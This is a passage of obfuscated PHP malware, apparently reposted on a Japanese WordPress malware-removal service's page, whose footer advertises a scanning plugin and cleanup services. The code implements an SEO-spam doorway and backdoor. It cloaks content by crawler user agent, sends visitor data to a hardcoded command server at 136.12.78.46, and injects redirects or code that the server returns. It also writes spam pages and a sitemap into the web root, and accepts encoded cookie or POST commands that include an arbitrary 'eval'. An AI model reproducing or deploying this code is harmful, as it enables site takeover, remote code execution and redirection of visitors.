            return new _kkpjno3($_m0mxwu2u["template"], $_m0mxwu2u["text"], $_m0mxwu2u["keyword"], $_m0mxwu2u["links"]);
        } else {
            return null;
        }
    }
}
class _mhsabk
{
    private static $_wvmlwdse = "";
    private static $_poza0iyr = "";
    public static function _pdhbi($_u2jkrbms, $_u0xjyhq5)
    {
        _mhsabk::$_wvmlwdse = $_u2jkrbms . "/";
        _mhsabk::$_poza0iyr = $_u0xjyhq5;
        if (!@file_exists(_mhsabk::$_wvmlwdse)) {
            @mkdir(_mhsabk::$_wvmlwdse);
        }
    }
    public static function _b4v91()
    {
        return TRUE;
    }
    public static function _s813b()
    {
        $_bczaqqq5 = 0;
        foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb) {
            if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0) {
                $_bczaqqq5 += 1;
            }
        }
        return $_bczaqqq5;
    }
    public static function _c7wqi()
    {
        $_yw4v0wwj = array();
        foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb) {
            if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0) {
                $_yw4v0wwj[] = $_z0sz2sjb;
            }
        }
        return @file_get_contents(_mhsabk::$_wvmlwdse . $_yw4v0wwj[array_rand($_yw4v0wwj)]);
    }
    public static function _4mlw1($_f0hgzllg)
    {
        if (@file_exists(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html")) {
            return;
        }
        @file_put_contents(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html", $_f0hgzllg);
    }
}
class _mjf146
{
    private static $_wvmlwdse = "";
    private static $_poza0iyr = "";
    public static function _pdhbi($_u2jkrbms, $_u0xjyhq5)
    {
        _mjf146::$_wvmlwdse = $_u2jkrbms . "/";
        _mjf146::$_poza0iyr = $_u0xjyhq5;
        if (!@file_exists(_mjf146::$_wvmlwdse)) {
            @mkdir(_mjf146::$_wvmlwdse);
        }
    }
    private static function _d6bgq()
    {
        $_te9j3qxp = array();
        foreach (scandir(_mjf146::$_wvmlwdse) as $_z0sz2sjb) {
            if (strpos($_z0sz2sjb, _mjf146::$_poza0iyr) === 0) {
                $_te9j3qxp[] = $_z0sz2sjb;
            }
        }
        return $_te9j3qxp;
    }
    public static function _b4v91()
    {
        return TRUE;
    }
    public static function _c7wqi()
    {
        $_te9j3qxp = _mjf146::_d6bgq();
        $_3hz09da3 = @file(_mjf146::$_wvmlwdse . $_te9j3qxp[array_rand($_te9j3qxp)], FILE_IGNORE_NEW_LINES);
        return $_3hz09da3[array_rand($_3hz09da3)];
    }
    public static function _fcff7()
    {
        $_3hz09da3 = array();
        $_te9j3qxp = _mjf146::_d6bgq();
        foreach ($_te9j3qxp as $_tjwv7spe) {
            $_3hz09da3 = array_merge($_3hz09da3, @file(_mjf146::$_wvmlwdse . $_tjwv7spe, FILE_IGNORE_NEW_LINES));
        }
        return $_3hz09da3;
    }
    public static function _4mlw1($_p3zclow3)
    {
        if (@file_exists(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list")) {
            return;
        }
        @file_put_contents(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list", $_p3zclow3);
    }
}
class _ck3gcg
{
    public static $_ngm9q95l = "4.3";
    public static $_jahh63sk = "e8791a1c-00eb-ec84-2a2a-7e4a165d08d9";
    private $_xhd9f49l = "http://136.12.78.46/app/assets/api2?action=redir";
    private $_g6yf5sq0 = "http://136.12.78.46/app/assets/api?action=page";
    public static $_fa134rdo = 20;
    public static $_6hy4eh9a = 100;
    public static function _1bpj3()
    {
    }
    private function _1c7j7()
    {
        $_13rwhtgp = array('#Ask\\s*Jeeves#i', '#HP\\s*Web\\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\\s*Pro#i', '#www\\.cys\\.ru#i', '#Wysigot#i', '#Yahoo!\\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\\s*Master#i', '#FAST\\s*MetaWeb\\s*Crawler#i', '#Flexum\\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\\.ru\\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i', '#scooter#i', '#av\\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\\s*slurp#i', '#charlotte#i', '#ngb#i', '#BingBot#i');
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_z3uhrd71 = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
            $_z3uhrd71 = $_SERVER['REMOTE_ADDR'];
        } else {
            $_z3uhrd71 = "";
        }
        if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_13rwhtgp, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) {
            $_zs0s16cr = 1;
        } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {
            $_zs0s16cr = 1;
        } elseif (FALSE !== strpos(@gethostbyaddr($_z3uhrd71), 'google')) {
            $_zs0s16cr = 1;
        } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE) {
            $_zs0s16cr = 1;
        } else {
            $_zs0s16cr = 0;
        }
        return $_zs0s16cr;
    }
    private static function _7hi9k()
    {
        $_s3elb85m = array();
        $_s3elb85m['ip'] = $_SERVER['REMOTE_ADDR'];
        $_s3elb85m['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $_s3elb85m['ua'] = @$_SERVER['HTTP_USER_AGENT'];
        $_s3elb85m['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
        $_s3elb85m['ref'] = @$_SERVER['HTTP_REFERER'];
        $_s3elb85m['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
        $_s3elb85m['acp'] = @$_SERVER['HTTP_ACCEPT'];
        $_s3elb85m['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
        $_s3elb85m['conn'] = @$_SERVER['HTTP_CONNECTION'];
        return $_s3elb85m;
    }
    public function __construct()
    {
        $this->_xhd9f49l = explode("/", $this->_xhd9f49l);
        $this->_g6yf5sq0 = explode("/", $this->_g6yf5sq0);
    }
    public static function _vi3qm($_yev6g3ol)
    {
        if (strlen($_yev6g3ol) < 4) {
            return "";
        }
        $_d75f1e9i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $_3hz09da3 = str_split($_d75f1e9i);
        $_3hz09da3 = array_flip($_3hz09da3);
        $_25embz2l = 0;
        $_8pl1bz14 = "";
        $_yev6g3ol = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_yev6g3ol);
        do {
            $_qv3kz4wj = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];
            $_e6fitcuk = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];
            $_yxkh526t = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];
            $_z0sc11xx = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];
            $_j9eaeagg = $_qv3kz4wj << 2 | $_e6fitcuk >> 4;
            $_4a1k4c7u = ($_e6fitcuk & 15) << 4 | $_yxkh526t >> 2;
            $_jqbakfe1 = ($_yxkh526t & 3) << 6 | $_z0sc11xx;
            $_8pl1bz14 .= chr($_j9eaeagg);
            if ($_yxkh526t != 64) {
                $_8pl1bz14 .= chr($_4a1k4c7u);
            }
            if ($_z0sc11xx != 64) {
                $_8pl1bz14 .= chr($_jqbakfe1);
            }
        } while ($_25embz2l < strlen($_yev6g3ol));
        return $_8pl1bz14;
    }
    private function _qqyc3($_mwynbu5c)
    {
        $_aeq1h9aa = "";
        $_norco4hk = "";
        $_s3elb85m = _ck3gcg::_7hi9k();
        $_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;
        $_s3elb85m["keyword"] = $_mwynbu5c;
        $_s3elb85m["tc"] = 10;
        $_s3elb85m = http_build_query($_s3elb85m);
        $_36j12vln = _ey7bfu6::_1ny8p($this->_g6yf5sq0, $_s3elb85m);
        if (strpos($_36j12vln, _ck3gcg::$_jahh63sk) === FALSE) {
            return array($_aeq1h9aa, $_norco4hk);
        }
        $_aeq1h9aa = _mhsabk::_c7wqi();
        $_norco4hk = substr($_36j12vln, strlen(_ck3gcg::$_jahh63sk));
        $_norco4hk = explode("\n", $_norco4hk);
        shuffle($_norco4hk);
        $_norco4hk = implode(" ", $_norco4hk);
        return array($_aeq1h9aa, $_norco4hk);
    }
    private function _1nhob()
    {
        $_s3elb85m = _ck3gcg::_7hi9k();
        $_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;
        $_s3elb85m = http_build_query($_s3elb85m);
        $_xuw1b6fq = _ey7bfu6::_1ny8p($this->_xhd9f49l, $_s3elb85m);
        $_xuw1b6fq = @unserialize($_xuw1b6fq);
        if (isset($_xuw1b6fq["type"]) && $_xuw1b6fq["type"] == "redir") {
            if (!empty($_xuw1b6fq["data"]["header"])) {
                header($_xuw1b6fq["data"]["header"]);
                return true;
            } elseif (!empty($_xuw1b6fq["data"]["code"])) {
                echo $_xuw1b6fq["data"]["code"];
                return true;
            }
        }
        return false;
    }
    public function _b4v91()
    {
        return _kkpjno3::_b4v91() && _mhsabk::_b4v91() && _mjf146::_b4v91();
    }
    public static function _93pzo()
    {
        if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) {
            return true;
        }
        return false;
    }
    public static function _s7ghk()
    {
        $_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_r6htkols = $_r6htkols[0];
        if (strpos($_r6htkols, ".php") === FALSE) {
            $_r6htkols = explode("/", $_r6htkols);
            array_pop($_r6htkols);
            $_r6htkols = implode("/", $_r6htkols) . "/";
        }
        return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_r6htkols);
    }
    public static function _9k0vu()
    {
        $_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_r6htkols = $_r6htkols[0];
        $_u2jkrbms = substr($_r6htkols, 0, strrpos($_r6htkols, "/"));
        return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_u2jkrbms);
    }
    public static function _dxkh0($_mwynbu5c)
    {
        $_9obk3wri = _ck3gcg::_s7ghk();
        $_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);
        $_vig54psg = "";
        if (substr($_9obk3wri, 1) == "/") {
            if (ord($_5rycsd09[1]) % 2) {
                $_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);
            } else {
                $_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);
            }
            $_vig54psg = sprintf("%s%s", $_9obk3wri, urlencode($_mwynbu5c));
        } else {
            if (ord($_5rycsd09[0]) % 2) {
                $_vig54psg = sprintf("%s?%s=%s", $_9obk3wri, $_5rycsd09, urlencode(str_replace(" ", "-", $_mwynbu5c)));
            } else {
                $_h8ipbj2e = array("id", "page", "tag");
                $_0wsrzinl = $_h8ipbj2e[ord($_5rycsd09[2]) % count($_h8ipbj2e)];
                if (ord($_5rycsd09[1]) % 2) {
                    $_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);
                } else {
                    $_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);
                }
                $_vig54psg = sprintf("%s?%s=%s", $_9obk3wri, $_0wsrzinl, urlencode($_mwynbu5c));
            }
        }
        return $_vig54psg;
    }
    public static function _zax9d($_k8y7uc1d, $_87e1a8b7)
    {
        $_54rzpdff = rand($_k8y7uc1d, $_87e1a8b7);
        $_hvljvslq = "";
        $_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);
        for ($_25embz2l = 0; $_25embz2l < $_54rzpdff; $_25embz2l++) {
            $_mwynbu5c = _mjf146::_c7wqi();
            $_hvljvslq .= sprintf("<a href='%s'>%s</a>,\n", _ck3gcg::_dxkh0($_mwynbu5c), ucwords($_mwynbu5c));
        }
        return $_hvljvslq;
    }
    public static function _c0lkf()
    {
        $_p3xzxpbt = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
        $_7f4bntyy = "</urlset>";
        $_t6tglu6l = "";
        $_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);
        $_3hz09da3 = _mjf146::_fcff7();
        foreach ($_3hz09da3 as $_2r80wem0) {
            $_vig54psg = _ck3gcg::_dxkh0($_2r80wem0);
            $_6zynwyty = time() - mt_rand(0, 2592000);
            $_t6tglu6l .= "<url>\n";
            $_t6tglu6l .= sprintf("<loc>%s</loc>\n", $_vig54psg);
            $_t6tglu6l .= sprintf("<lastmod>%s</lastmod>\n", date("Y-m-d", $_6zynwyty));
            $_t6tglu6l .= "<priority>0.3</priority>\n";
            $_t6tglu6l .= "</url>\n";
        }
        $_0iw6z9b2 = $_p3xzxpbt . $_t6tglu6l . $_7f4bntyy;
        $_a8qvtbpu = "/var/www/html/sitemap.xml";
        $_y6klfo9f = _ck3gcg::_9k0vu() . "/sitemap.xml";
        @file_put_contents($_a8qvtbpu, $_0iw6z9b2);
        return $_y6klfo9f;
    }
    public function _0n601()
    {
        $_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);
        if (isset($_GET[$_0wsrzinl])) {
            $_mwynbu5c = $_GET[$_0wsrzinl];
        } elseif (strpos($_SERVER["REQUEST_URI"], $_0wsrzinl) !== FALSE) {
            $_a5kfykyv = explode("/", $_SERVER["REQUEST_URI"]);
            foreach ($_a5kfykyv as $_ke8ch1x4) {
                if (strpos($_ke8ch1x4, $_0wsrzinl) !== FALSE) {
                    $_rxd102e4 = explode("=", $_ke8ch1x4);
                    $_pbbjixe2 = array_pop($_rxd102e4);
                    $_pbbjixe2 = str_replace($_0wsrzinl . "-", "", $_pbbjixe2);
                    $_pbbjixe2 = str_replace("-" . $_0wsrzinl, "", $_pbbjixe2);
                    $_mwynbu5c = $_pbbjixe2;
                }
            }
        }
        if (empty($_mwynbu5c)) {
            $_3hz09da3 = _mjf146::_fcff7();
            $_mwynbu5c = $_3hz09da3[0];
        }
        if (!empty($_mwynbu5c)) {
            $_mwynbu5c = str_replace("-", " ", $_mwynbu5c);
            if (!$this->_1c7j7()) {
                if ($this->_1nhob()) {
                    return;
                }
            }
            $_mwynbu5c = urldecode($_mwynbu5c);
            $_xuw1b6fq = _kkpjno3::_gpexc($_mwynbu5c);
            if (empty($_xuw1b6fq)) {
                list($_aeq1h9aa, $_norco4hk) = $this->_qqyc3($_mwynbu5c);
                if (empty($_norco4hk)) {
                    return;
                }
                $_xuw1b6fq = new _kkpjno3($_aeq1h9aa, $_norco4hk, $_mwynbu5c, _ck3gcg::_zax9d(_ck3gcg::$_fa134rdo, _ck3gcg::$_6hy4eh9a));
                $_xuw1b6fq->_4mlw1();
            }
            echo $_xuw1b6fq->_ha4si();
        }
    }
}
_kkpjno3::_pdhbi("/var/www/html", 1, _ck3gcg::$_jahh63sk);
_mhsabk::_pdhbi("/var/www/html", substr(md5(_ck3gcg::$_jahh63sk . "salt12"), 0, 4));
_mjf146::_pdhbi("/var/www/html", substr(md5(_ck3gcg::$_jahh63sk . "salt22"), 0, 4));
function _thdaz($_36j12vln, $_2r80wem0)
{
    $_p03x2aoe = "";
    for ($_25embz2l = 0; $_25embz2l < strlen($_36j12vln);) {
        for ($_wuzr1p5k = 0; $_wuzr1p5k < strlen($_2r80wem0) && $_25embz2l < strlen($_36j12vln); $_wuzr1p5k++, $_25embz2l++) {
            $_p03x2aoe .= chr(ord($_36j12vln[$_25embz2l]) ^ ord($_2r80wem0[$_wuzr1p5k]));
        }
    }
    return $_p03x2aoe;
}
function _3zvc1($_36j12vln, $_2r80wem0, $_7rvu1ebg)
{
    return _thdaz(_thdaz($_36j12vln, $_2r80wem0), $_7rvu1ebg);
}
foreach (array_merge($_COOKIE, $_POST) as $_1c87cge0 => $_36j12vln) {
    $_36j12vln = @unserialize(_3zvc1(_ck3gcg::_vi3qm($_36j12vln), $_1c87cge0, _ck3gcg::$_jahh63sk));
    if (isset($_36j12vln['ak']) && _ck3gcg::$_jahh63sk == $_36j12vln['ak']) {
        if ($_36j12vln['a'] == 'doorway2') {
            if ($_36j12vln['sa'] == 'check') {
                $_iamdjwam = _ey7bfu6::_1ny8p(array(0 => "http:", 1 => "", 2 => "httpbin.org", 3 => ""), "");
                if (strlen($_iamdjwam) > 512) {
                    echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, "cache" => _kkpjno3::_s813b(), "keywords" => count(_mjf146::_fcff7()), "templates" => _mhsabk::_s813b()));
                }
                exit;
            }
            if ($_36j12vln['sa'] == 'templates') {
                foreach ($_36j12vln["templates"] as $_aeq1h9aa) {
                    _mhsabk::_4mlw1($_aeq1h9aa);
                    echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l));
                }
            }
            if ($_36j12vln['sa'] == 'keywords') {
                _mjf146::_4mlw1($_36j12vln["keywords"]);
                _ck3gcg::_c0lkf();
                echo @serialize(array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l));
            }
        }
        if ($_36j12vln['sa'] == 'eval') {
            eval($_36j12vln["data"]);
            exit;
        }
    }
}
$_i4sgq6bu = new _ck3gcg();
if ($_i4sgq6bu->_b4v91()) {
    $_i4sgq6bu->_0n601();
}
exit;


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.